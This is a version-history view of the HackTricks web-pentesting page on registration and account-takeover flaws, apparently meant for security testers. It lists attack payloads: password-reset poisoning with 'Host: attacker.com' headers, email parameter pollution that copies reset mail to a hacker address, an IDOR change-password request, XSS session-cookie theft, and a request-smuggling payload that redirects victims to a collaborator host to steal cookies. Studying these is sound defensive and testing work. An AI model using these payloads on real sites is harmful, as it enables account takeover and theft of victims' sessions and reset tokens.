hacktricks/pentesting-web/registration-vulnerabilities.md

235 lines
10 KiB
Markdown
Raw Normal View History

2023-02-16 16:03:36 +00:00
# Registration & Takeover Vulnerabilities
2022-04-28 16:01:33 +00:00
2024-07-19 14:09:38 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 14:09:38 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-19 14:09:38 +00:00
<summary>Support HackTricks</summary>
2024-02-03 14:45:32 +00:00
2024-07-19 14:09:38 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 14:09:38 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-04-18 03:21:24 +00:00
### [WhiteIntel](https://whiteintel.io)
2024-04-18 03:10:20 +00:00
2024-05-05 17:56:05 +00:00
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
2024-04-18 03:10:20 +00:00
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
2024-05-05 17:56:05 +00:00
***
2024-04-18 03:10:20 +00:00
2023-02-16 16:03:36 +00:00
## Registration Takeover
2022-04-28 16:01:33 +00:00
2023-02-16 16:03:36 +00:00
### Duplicate Registration
2021-06-27 14:55:59 +00:00
* Try to generate using an existing username
* Check varying the email:
* uppsercase
* \+1@
2024-02-06 03:10:38 +00:00
* add some dot in the email
* special characters in the email name (%00, %09, %20)
2023-02-16 16:03:36 +00:00
* Put black characters after the email: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
2023-02-16 16:03:36 +00:00
### Username Enumeration
2021-06-27 14:55:59 +00:00
Check if you can figure out when a username has already been registered inside the application.
2023-02-16 16:03:36 +00:00
### Password Policy
2021-06-27 14:55:59 +00:00
Creating a user check the password policy (check if you can use weak passwords).\
2021-06-27 14:55:59 +00:00
In that case you may try to bruteforce credentials.
2023-02-16 16:03:36 +00:00
### SQL Injection
2021-06-27 14:55:59 +00:00
2022-04-05 22:24:52 +00:00
[**Check this page** ](sql-injection/#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms.
2021-06-27 14:55:59 +00:00
2023-02-16 16:03:36 +00:00
### Oauth Takeovers
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
2023-02-16 16:03:36 +00:00
### SAML Vulnerabilities
2021-06-27 14:55:59 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
2023-02-16 16:03:36 +00:00
### Change Email
2024-02-06 03:10:38 +00:00
When registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails.
2021-06-27 14:55:59 +00:00
2023-02-16 16:03:36 +00:00
### More Checks
2021-06-27 14:55:59 +00:00
* Check if you can use **disposable emails**
* **Long** **password** (>200) leads to **DoS**
2021-06-27 14:55:59 +00:00
* **Check rate limits on account creation**
2021-11-30 00:17:48 +00:00
* Use username@**burp\_collab**.net and analyze the **callback**
2023-02-16 16:03:36 +00:00
## **Password Reset Takeover**
2021-11-30 00:17:48 +00:00
2023-02-16 16:03:36 +00:00
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
2021-11-30 00:17:48 +00:00
1. Request password reset to your email address
2. Click on the password reset link
3. Dont change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.
2023-02-16 16:03:36 +00:00
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
2021-11-30 00:17:48 +00:00
1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
2023-02-16 16:03:36 +00:00
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
2023-02-16 16:03:36 +00:00
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
1. Attacker have to login with their account and go to the **Change password** feature.
2. Start the Burp Suite and Intercept the request
3. Send it to the repeater tab and edit the parameters : User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
2023-02-16 16:03:36 +00:00
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
The password reset token should be randomly generated and unique every time.\
Try to determine if the token expire or if its always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
* Timestamp
* UserID
* Email of User
* Firstname and Lastname
* Date of Birth
* Cryptography
* Number only
* Small token sequence ( characters between \[A-Z,a-z,0-9])
* Token reuse
* Token expiration date
2023-02-16 16:03:36 +00:00
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
2. Inspect the server response and check for `resetToken`
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
2023-02-16 16:03:36 +00:00
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
1. Register on the system with a username identical to the victims username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
2. Request a password reset with your malicious username.
3. Use the token sent to your email and reset the victim password.
4. Connect to the victim account with the new password.
The platform CTFd was vulnerable to this attack.\
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
2023-02-16 16:03:36 +00:00
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
2. Leak the current **sessions cookie**
3. Authenticate as the user using the cookie
2023-02-16 16:03:36 +00:00
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
1\. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies\
3\. Final request could look like the following
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone reports exploiting this bug\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
2023-02-16 16:03:36 +00:00
### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
2021-11-30 00:17:48 +00:00
1. Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change”
2. Send the payload
2023-02-16 16:03:36 +00:00
### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
JSON Web Token might be used to authenticate an user.
* Edit the JWT with another User ID / Email
* Check for weak JWT signature
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
2023-02-16 16:03:36 +00:00
## References
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
2022-04-28 16:01:33 +00:00
2024-04-18 03:21:24 +00:00
### [WhiteIntel](https://whiteintel.io)
2024-04-18 03:10:20 +00:00
2024-05-05 17:56:05 +00:00
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
2024-04-18 03:10:20 +00:00
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
2024-07-19 14:09:38 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 14:09:38 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-19 14:09:38 +00:00
<summary>Support HackTricks</summary>
2024-02-03 14:45:32 +00:00
2024-07-19 14:09:38 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 14:09:38 +00:00
{% endhint %}